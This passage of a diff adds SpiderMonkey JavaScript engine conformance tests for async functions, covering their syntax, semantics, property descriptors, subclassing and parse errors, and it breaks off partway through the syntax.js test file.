+var BUGNUMBER = 1185106;
+var summary = "async function constructor and prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+var f1 = async function() {};
+
+var AsyncFunction = f1.constructor;
+var AsyncFunctionPrototype = AsyncFunction.prototype;
+
+assertEq(AsyncFunction.name, "AsyncFunction");
+assertEq(AsyncFunction.length, 1);
+assertEq(Object.getPrototypeOf(async function() {}), AsyncFunctionPrototype);
+
+assertEq(AsyncFunctionPrototype.constructor, AsyncFunction);
+
+var f2 = AsyncFunction("await 1");
+assertEq(f2.constructor, AsyncFunction);
+assertEq(f2.length, 0);
+assertEq(Object.getPrototypeOf(f2), AsyncFunctionPrototype);
+
+var f3 = new AsyncFunction("await 1");
+assertEq(f3.constructor, AsyncFunction);
+assertEq(f3.length, 0);
+assertEq(Object.getPrototypeOf(f3), AsyncFunctionPrototype);
+
+var f4 = AsyncFunction("a", "b", "c", "await 1");
+assertEq(f4.constructor, AsyncFunction);
+assertEq(f4.length, 3);
+assertEq(Object.getPrototypeOf(f4), AsyncFunctionPrototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/cover-init-name-syntax.js b/js/src/tests/non262/async-functions/cover-init-name-syntax.js
new file mode 100644
index 0000000000..cb7858a67a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/cover-init-name-syntax.js
@@ -0,0 +1,65 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// CoverInitName in async arrow parameters.
+async ({a = 1}) => {};
+async ({a = 1}, {b = 2}) => {};
+async ({a = 1}, {b = 2}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2} = {}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2} = {}, {c = 3} = {}) => {};
+
+// CoverInitName nested in array destructuring.
+async ([{a = 0}]) => {};
+
+// CoverInitName nested in rest pattern.
+async ([...[{a = 0}]]) => {};
+
+// CoverInitName nested in object destructuring.
+async ({p: {a = 0}}) => {};
+
+// CoverInitName in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+// Starts with "async", but not called from AssignmentExpression.
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+// CoverInitName in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js b/js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..413236ec16
--- /dev/null
+++ b/js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js
@@ -0,0 +1,19 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+var AsyncFunction = async function(){}.constructor;
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(AsyncFunction, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/duplicate-__proto__.js b/js/src/tests/non262/async-functions/duplicate-__proto__.js
new file mode 100644
index 0000000000..d60b052484
--- /dev/null
+++ b/js/src/tests/non262/async-functions/duplicate-__proto__.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Async arrow function parameters.
+async ({__proto__: a, __proto__: b}) => {};
+
+// Async arrow function parameters with defaults (initially parsed as destructuring assignment).
+async ({__proto__: a, __proto__: b} = {}) => {};
+
+// Duplicate __proto__ in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({__proto__: a, __proto__: b});
+`), SyntaxError);
+
+// Starts with "async", but not called from AssignmentExpression.
+assertThrowsInstanceOf(() => eval(`
+ typeof async({__proto__: a, __proto__: b});
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/forbidden-as-consequent.js b/js/src/tests/non262/async-functions/forbidden-as-consequent.js
new file mode 100644
index 0000000000..656ed46deb
--- /dev/null
+++ b/js/src/tests/non262/async-functions/forbidden-as-consequent.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertThrowsInstanceOf(() => eval("if (1) async function foo() {}"),
+ SyntaxError);
+assertThrowsInstanceOf(() => eval("'use strict'; if (1) async function foo() {}"),
+ SyntaxError);
+
+var async = 42;
+assertEq(eval("if (1) async \n function foo() {}"), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/identity.js b/js/src/tests/non262/async-functions/identity.js
new file mode 100644
index 0000000000..f3876bf233
--- /dev/null
+++ b/js/src/tests/non262/async-functions/identity.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1185106;
+var summary = "Named async function expression should get wrapped function for the name inside it";
+
+print(BUGNUMBER + ": " + summary);
+
+var expr = async function foo() {
+ return foo;
+};
+assertEventuallyEq(expr(), expr);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/inner-caller.js b/js/src/tests/non262/async-functions/inner-caller.js
new file mode 100644
index 0000000000..f76f978f01
--- /dev/null
+++ b/js/src/tests/non262/async-functions/inner-caller.js
@@ -0,0 +1,17 @@
+function g() {
+ return g.caller;
+}
+
+(async function f() {
+ var inner = g();
+ assertEq(inner, null);
+})();
+
+(async function f() {
+ "use strict";
+ var inner = g();
+ assertEq(inner, null);
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/length.js b/js/src/tests/non262/async-functions/length.js
new file mode 100644
index 0000000000..da95e23b89
--- /dev/null
+++ b/js/src/tests/non262/async-functions/length.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1185106;
+var summary = "async function length";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(async function() {}.length, 0);
+assertEq(async function(a) {}.length, 1);
+assertEq(async function(a, b, c) {}.length, 3);
+assertEq(async function(a, b, c, ...d) {}.length, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/methods.js b/js/src/tests/non262/async-functions/methods.js
new file mode 100644
index 0000000000..061a0e8267
--- /dev/null
+++ b/js/src/tests/non262/async-functions/methods.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+var BUGNUMBER = 1185106;
+var summary = "async methods semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+class X {
+ constructor() {
+ this.value = 42;
+ }
+ async getValue() {
+ return this.value;
+ }
+ setValue(value) {
+ this.value = value;
+ }
+ async increment() {
+ var value = await this.getValue();
+ this.setValue(value + 1);
+ return this.getValue();
+ }
+ async getBaseClassName() {
+ return 'X';
+ }
+ static async getStaticValue() {
+ return 44;
+ }
+ async 10() {
+ return 46;
+ }
+ async ["foo"]() {
+ return 47;
+ }
+}
+
+class Y extends X {
+ async getBaseClassName() {
+ return super.getBaseClassName();
+ }
+}
+
+var objLiteral = {
+ async get() {
+ return 45;
+ },
+ someStuff: 5
+};
+
+var x = new X();
+var y = new Y();
+
+assertEventuallyEq(x.getValue(), 42);
+assertEventuallyEq(x.increment(), 43);
+assertEventuallyEq(x[10](), 46);
+assertEventuallyEq(x.foo(), 47);
+assertEventuallyEq(X.getStaticValue(), 44);
+assertEventuallyEq(objLiteral.get(), 45);
+assertEventuallyEq(y.getBaseClassName(), 'X');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/no-expression-closure.js b/js/src/tests/non262/async-functions/no-expression-closure.js
new file mode 100644
index 0000000000..44d139fe41
--- /dev/null
+++ b/js/src/tests/non262/async-functions/no-expression-closure.js
@@ -0,0 +1,17 @@
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { eval(code); }, SyntaxError, "eval:" + code);
+ var ieval = eval;
+ assertThrowsInstanceOf(function () { ieval(code); }, SyntaxError, "indirect eval:" + code);
+}
+
+// AsyncFunction statement
+assertSyntaxError(`async function f() 0`);
+
+// AsyncFunction expression
+assertSyntaxError(`void async function() 0`);
+assertSyntaxError(`void async function f() 0`);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/properties.js b/js/src/tests/non262/async-functions/properties.js
new file mode 100644
index 0000000000..ca383901bb
--- /dev/null
+++ b/js/src/tests/non262/async-functions/properties.js
@@ -0,0 +1,76 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertOwnDescriptor(object, propertyKey, expected) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ if (desc === undefined) {
+ assertEq(expected, undefined, "Property shouldn't be present");
+ return;
+ }
+
+ assertEq(desc.enumerable, expected.enumerable, `${String(propertyKey)}.[[Enumerable]]`);
+ assertEq(desc.configurable, expected.configurable, `${String(propertyKey)}.[[Configurable]]`);
+
+ if (Object.prototype.hasOwnProperty.call(desc, "value")) {
+ assertEq(desc.value, expected.value, `${String(propertyKey)}.[[Value]]`);
+ assertEq(desc.writable, expected.writable, `${String(propertyKey)}.[[Writable]]`);
+ } else {
+ assertEq(desc.get, expected.get, `${String(propertyKey)}.[[Get]]`);
+ assertEq(desc.set, expected.set, `${String(propertyKey)}.[[Set]]`);
+ }
+}
+
+async function asyncFunc(){}
+var AsyncFunctionPrototype = Object.getPrototypeOf(asyncFunc);
+var AsyncFunction = AsyncFunctionPrototype.constructor;
+
+
+// ES2017, 25.5.2 Properties of the AsyncFunction Constructor
+
+assertEqArray(Object.getOwnPropertyNames(AsyncFunction).sort(), ["length", "name", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(AsyncFunction), []);
+
+assertOwnDescriptor(AsyncFunction, "length", {
+ value: 1, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(AsyncFunction, "name", {
+ value: "AsyncFunction", writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(AsyncFunction, "prototype", {
+ value: AsyncFunctionPrototype, writable: false, enumerable: false, configurable: false
+});
+
+
+// ES2017, 25.5.3 Properties of the AsyncFunction Prototype Object
+
+assertEqArray(Object.getOwnPropertyNames(AsyncFunctionPrototype).sort(), ["constructor"]);
+assertEqArray(Object.getOwnPropertySymbols(AsyncFunctionPrototype), [Symbol.toStringTag]);
+
+assertOwnDescriptor(AsyncFunctionPrototype, "constructor", {
+ value: AsyncFunction, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(AsyncFunctionPrototype, Symbol.toStringTag, {
+ value: "AsyncFunction", writable: false, enumerable: false, configurable: true
+});
+
+
+// ES2017, 25.5.4 AsyncFunction Instances
+
+assertEqArray(Object.getOwnPropertyNames(asyncFunc).sort(), ["length", "name"]);
+assertEqArray(Object.getOwnPropertySymbols(asyncFunc), []);
+
+assertOwnDescriptor(asyncFunc, "length", {
+ value: 0, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(asyncFunc, "name", {
+ value: "asyncFunc", writable: false, enumerable: false, configurable: true
+});
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/property.js b/js/src/tests/non262/async-functions/property.js
new file mode 100644
index 0000000000..53f779c330
--- /dev/null
+++ b/js/src/tests/non262/async-functions/property.js
@@ -0,0 +1,49 @@
+var BUGNUMBER = 1185106;
+var summary = "async name token in property and object destructuring pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+{
+ let a = { async: 10 };
+ assertEq(a.async, 10);
+}
+
+{
+ let a = { async() {} };
+ assertEq(a.async instanceof Function, true);
+ assertEq(a.async.name, "async");
+}
+
+{
+ let async = 11;
+ let a = { async };
+ assertEq(a.async, 11);
+}
+
+{
+ let { async } = { async: 12 };
+ assertEq(async, 12);
+}
+
+{
+ let { async = 13 } = {};
+ assertEq(async, 13);
+}
+
+{
+ let { async: a = 14 } = {};
+ assertEq(a, 14);
+}
+
+{
+ let { async, other } = { async: 15, other: 16 };
+ assertEq(async, 15);
+ assertEq(other, 16);
+
+ let a = { async, other };
+ assertEq(a.async, 15);
+ assertEq(a.other, 16);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/semantics.js b/js/src/tests/non262/async-functions/semantics.js
new file mode 100644
index 0000000000..5814890a63
--- /dev/null
+++ b/js/src/tests/non262/async-functions/semantics.js
@@ -0,0 +1,169 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+var BUGNUMBER = 1185106;
+var summary = "async functions semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+async function empty() {
+}
+assertEventuallyEq(empty(), undefined);
+
+async function simpleReturn() {
+ return 1;
+}
+assertEventuallyEq(simpleReturn(), 1);
+
+async function simpleAwait() {
+ var result = await 2;
+ return result;
+}
+assertEventuallyEq(simpleAwait(), 2);
+
+async function simpleAwaitAsync() {
+ var result = await simpleReturn();
+ return 2 + result;
+}
+assertEventuallyEq(simpleAwaitAsync(), 3);
+
+async function returnOtherAsync() {
+ return 1 + await simpleAwaitAsync();
+}
+assertEventuallyEq(returnOtherAsync(), 4);
+
+async function simpleThrower() {
+ throw new Error();
+}
+assertEventuallyThrows(simpleThrower(), Error);
+
+async function delegatedThrower() {
+ var val = await simpleThrower();
+ return val;
+}
+
+async function tryCatch() {
+ try {
+ await delegatedThrower();
+ return 'FAILED';
+ } catch (_) {
+ return 5;
+ }
+}
+assertEventuallyEq(tryCatch(), 5);
+
+async function tryCatchThrow() {
+ try {
+ await delegatedThrower();
+ return 'FAILED';
+ } catch (_) {
+ return delegatedThrower();
+ }
+}
+assertEventuallyThrows(tryCatchThrow(), Error);
+
+async function wellFinally() {
+ try {
+ await delegatedThrower();
+ } catch (_) {
+ return 'FAILED';
+ } finally {
+ return 6;
+ }
+}
+assertEventuallyEq(wellFinally(), 6);
+
+async function finallyMayFail() {
+ try {
+ await delegatedThrower();
+ } catch (_) {
+ return 5;
+ } finally {
+ return delegatedThrower();
+ }
+}
+assertEventuallyThrows(finallyMayFail(), Error);
+
+async function embedded() {
+ async function inner() {
+ return 7;
+ }
+ return await inner();
+}
+assertEventuallyEq(embedded(), 7);
+
+// recursion, it works!
+async function fib(n) {
+ return (n == 0 || n == 1) ? n : await fib(n - 1) + await fib(n - 2);
+}
+assertEventuallyEq(fib(6), 8);
+
+// mutual recursion
+async function isOdd(n) {
+ async function isEven(n) {
+ return n === 0 || await isOdd(n - 1);
+ }
+ return n !== 0 && await isEven(n - 1);
+}
+assertEventuallyEq(isOdd(12).then(v => v ? "oops" : 12), 12);
+
+// recursion, take three!
+var hardcoreFib = async function fib2(n) {
+ return (n == 0 || n == 1) ? n : await fib2(n - 1) + await fib2(n - 2);
+}
+assertEventuallyEq(hardcoreFib(7), 13);
+
+var asyncExpr = async function() {
+ return 10;
+}
+assertEventuallyEq(asyncExpr(), 10);
+
+var namedAsyncExpr = async function simple() {
+ return 11;
+}
+assertEventuallyEq(namedAsyncExpr(), 11);
+
+async function executionOrder() {
+ var value = 0;
+ async function first() {
+ return (value = value === 0 ? 1 : value);
+ }
+ async function second() {
+ return (value = value === 0 ? 2 : value);
+ }
+ async function third() {
+ return (value = value === 0 ? 3 : value);
+ }
+ return await first() + await second() + await third() + 6;
+}
+assertEventuallyEq(executionOrder(), 9);
+
+async function miscellaneous() {
+ if (arguments.length === 3 &&
+ arguments.callee.name === "miscellaneous")
+ return 14;
+}
+assertEventuallyEq(miscellaneous(1, 2, 3), 14);
+
+function thrower() {
+ throw 15;
+}
+
+async function defaultArgs(arg = thrower()) {
+}
+assertEventuallyEq(defaultArgs().catch(e => e), 15);
+
+let arrowAwaitExpr = async () => await 2;
+assertEventuallyEq(arrowAwaitExpr(), 2);
+
+let arrowAwaitBlock = async () => { return await 2; };
+assertEventuallyEq(arrowAwaitBlock(), 2);
+
+// Async functions are not constructible
+assertThrowsInstanceOf(() => {
+ async function Person() {
+
+ }
+ new Person();
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/shell.js b/js/src/tests/non262/async-functions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/async-functions/shell.js
diff --git a/js/src/tests/non262/async-functions/subclass.js b/js/src/tests/non262/async-functions/subclass.js
new file mode 100644
index 0000000000..da20ab19b8
--- /dev/null
+++ b/js/src/tests/non262/async-functions/subclass.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const AsyncFunction = async function(){}.constructor;
+
+class MyAsync extends AsyncFunction {}
+
+// MyGen inherits from %AsyncFunction%.
+assertEq(Object.getPrototypeOf(MyAsync), AsyncFunction);
+
+// MyGen.prototype inherits from %AsyncFunctionPrototype%.
+assertEq(Object.getPrototypeOf(MyAsync.prototype), AsyncFunction.prototype);
+
+var fn = new MyAsync("return await 'ok';");
+
+// fn inherits from MyAsync.prototype.
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+// Ensure the new async function can be executed.
+var promise = fn();
+
+// promise inherits from %Promise.prototype%.
+assertEq(Object.getPrototypeOf(promise), Promise.prototype);
+
+// Computes the expected result.
+assertEventuallyEq(promise, "ok");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/syntax-arrow.js b/js/src/tests/non262/async-functions/syntax-arrow.js
new file mode 100644
index 0000000000..a2c96e7dd9
--- /dev/null
+++ b/js/src/tests/non262/async-functions/syntax-arrow.js
@@ -0,0 +1,104 @@
+var BUGNUMBER = 1185106;
+var summary = "async arrow function syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // Parameters.
+ Reflect.parse("async () => 1");
+ Reflect.parse("async a => 1");
+ Reflect.parse("async (a) => 1");
+ Reflect.parse("async async => 1");
+ Reflect.parse("async (async) => 1");
+ Reflect.parse("async ([a]) => 1");
+ Reflect.parse("async ([a, b]) => 1");
+ Reflect.parse("async ({a}) => 1");
+ Reflect.parse("async ({a, b}) => 1");
+
+ assertThrowsInstanceOf(() => Reflect.parse("async await => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async (await) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ([await]) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ({await}) => 1"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async (a=await) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ([a=await]) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ({a=await}) => 1"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async (a=await 1) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ([a=await 1]) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ({a=await 1}) => 1"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async [a] => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async [a, b] => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async {a} => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async {a: b} => 1"), SyntaxError);
+
+ // Expression body.
+ Reflect.parse("async a => a == b");
+
+ // Expression body with nested async function.
+ Reflect.parse("async a => async");
+ Reflect.parse("async a => async b => c");
+ Reflect.parse("async a => async function() {}");
+ Reflect.parse("async a => async function b() {}");
+
+ assertThrowsInstanceOf(() => Reflect.parse("async a => async b"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async a => async function"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async a => async function()"), SyntaxError);
+
+ // Expression body with `await`.
+ Reflect.parse("async a => await 1");
+ Reflect.parse("async a => await await 1");
+ Reflect.parse("async a => await await await 1");
+
+ assertThrowsInstanceOf(() => Reflect.parse("async a => await"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async a => await await"), SyntaxError);
+
+ // `await` is Unary Expression and it cannot have `async` function as an
+ // operand.
+ assertThrowsInstanceOf(() => Reflect.parse("async a => await async X => Y"), SyntaxError);
+ Reflect.parse("async a => await (async X => Y)");
+ // But it can have `async` identifier as an operand.
+ Reflect.parse("async async => await async");
+
+ // Block body.
+ Reflect.parse("async X => {yield}");
+
+ // `yield` handling.
+ Reflect.parse("async X => yield");
+ Reflect.parse("async yield => X");
+ Reflect.parse("async yield => yield");
+ Reflect.parse("async X => {yield}");
+
+ Reflect.parse("async X => {yield}");
+ Reflect.parse("async yield => {X}");
+ Reflect.parse("async yield => {yield}");
+ Reflect.parse("function* g() { async X => yield }");
+
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async yield => X"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async (yield) => X"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async X => yield"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async X => {yield}"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("function* g() { async yield => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async (yield) => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async ([yield]) => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async ({yield}) => X }"));
+
+ // Not async functions.
+ Reflect.parse("async ()");
+ Reflect.parse("async (a)");
+ Reflect.parse("async (async)");
+ Reflect.parse("async ([a])");
+ Reflect.parse("async ([a, b])");
+ Reflect.parse("async ({a})");
+ Reflect.parse("async ({a, b})");
+
+ // Async arrow function is assignment expression.
+ Reflect.parse("a ? async () => {1} : b");
+ Reflect.parse("a ? b : async () => {1}");
+ assertThrowsInstanceOf(() => Reflect.parse("async () => {1} ? a : b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/syntax-modules.js b/js/src/tests/non262/async-functions/syntax-modules.js
new file mode 100644
index 0000000000..975e19b59a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/syntax-modules.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1185106;
+var summary = "async/await syntax in module";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof parseModule === "function") {
+ parseModule("async function f() { await 3; }");
+ parseModule("async function f() { await 3; }");
+ assertThrowsInstanceOf(() => parseModule("var await = 5;"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("await;"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("await 5;"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("function f() { await 5; }"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("() => { await 5; }"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("export var await;"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("await => 1;"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("async function f() { function g() { await 3; } }"), SyntaxError);
+
+ if (typeof Reflect !== "undefined" && Reflect.parse) {
+ Reflect.parse("export async function f() {}", { target: "module" });
+ assertThrowsInstanceOf(() => Reflect.parse("export async function() {}", { target: "module" }), SyntaxError);
+
+ Reflect.parse("export default async function() {}", { target: "module" });
+ Reflect.parse("export default async function f() {}", { target: "module" });
+
+ assertThrowsInstanceOf(() => Reflect.parse("export default async function() { yield; }", { target: "module" }), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("export default async function() { yield = 1; }", { target: "module" }), SyntaxError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/syntax.js b/js/src/tests/non262/async-functions/syntax.js
new file mode 100644
index 0000000000..a5ec254e2e
--- /dev/null
+++ b/js/src/tests/non262/async-functions/syntax.js
@@ -0,0 +1,83 @@
+var BUGNUMBER = 1185106;
+var summary = "async/await syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ assertEq(Reflect.parse("function a() {}").body[0].async, false);
+ assertEq(Reflect.parse("function* a() {}").body[0].async, false);
+ assertEq(Reflect.parse("async function a() {}").body[0].async, true);
+ assertEq(Reflect.parse("() => {}").body[0].async, undefined);
+
+ // No line terminator after async
+ assertEq(Reflect.parse("async\nfunction a(){}").body[0].expression.name, "async");
+
+ // Async function expressions
+ assertEq(Reflect.parse("(async function() {})()").body[0].expression.callee.async, true);
+ assertEq(Reflect.parse("var k = async function() {}").body[0].declarations[0].init.async, true);
+ assertEq(Reflect.parse("var nmd = async function named() {}").body[0].declarations[0].init.id.name, "named");
+
+ // `await` handling for function declaration name inherits.
+ assertEq(Reflect.parse("async function await() {}").body[0].id.name, "await");
+ assertThrowsInstanceOf(() => Reflect.parse("async function f() { async function await() {} }"), SyntaxError);
+
+ // `await` is not allowed in function expression name.
+ assertThrowsInstanceOf(() => Reflect.parse("(async function await() {})"), SyntaxError);
+
+ // Awaiting not directly inside an async function is not allowed
+ assertThrowsInstanceOf(() => Reflect.parse("await 4;"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("function a() { await 4; }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("function* a() { await 4; }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function k() { function a() { await 4; } }"), SyntaxError);
+
+ // Await is not allowed as a default expr.
+ assertThrowsInstanceOf(() => Reflect.parse("async function a(k = await 3) {}"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b(k = await 3) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b(k = [await 3]) {} }"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b([k = await 3]) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b([k = [await 3]]) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b({k = await 3}) {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { async function b({k = [await 3]}) {} }"), SyntaxError);
+
+ // Await is not legal as an identifier in an async function.
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { var await = 4; }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async function a() { return await; }"), SyntaxError);
+
+ // Await is still available as an identifier name in strict mode code.
+ Reflect.parse("function a() { 'use strict'; var await = 3; }");
+ Reflect.parse("'use strict'; var await = 3;");
+
+ // Await is treated differently depending on context. Various cases.
+ Reflect.parse("var await = 3; async function a() { await 4; }");
+ Reflect.parse("async function a() { await 4; } var await = 5");
+ Reflect.parse("async function a() { function b() { return await; } }");
+
+ Reflect.parse("async function a() { var k = { async: 4 } }");
+
+ Reflect.parse("function a() { await: 4 }");
+
+ assertEq(Reflect.parse("async function a() { await 4; }")
+ .body[0].body.body[0].expression.operator, "await");
+
+ assertEq(Reflect.parse("async function a() { async function b() { await 4; } }")
+ .body[0].body.body[0].body.body[0].expression.operator, "await");
+
+ // operator priority test
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.left.argument.value, 2);
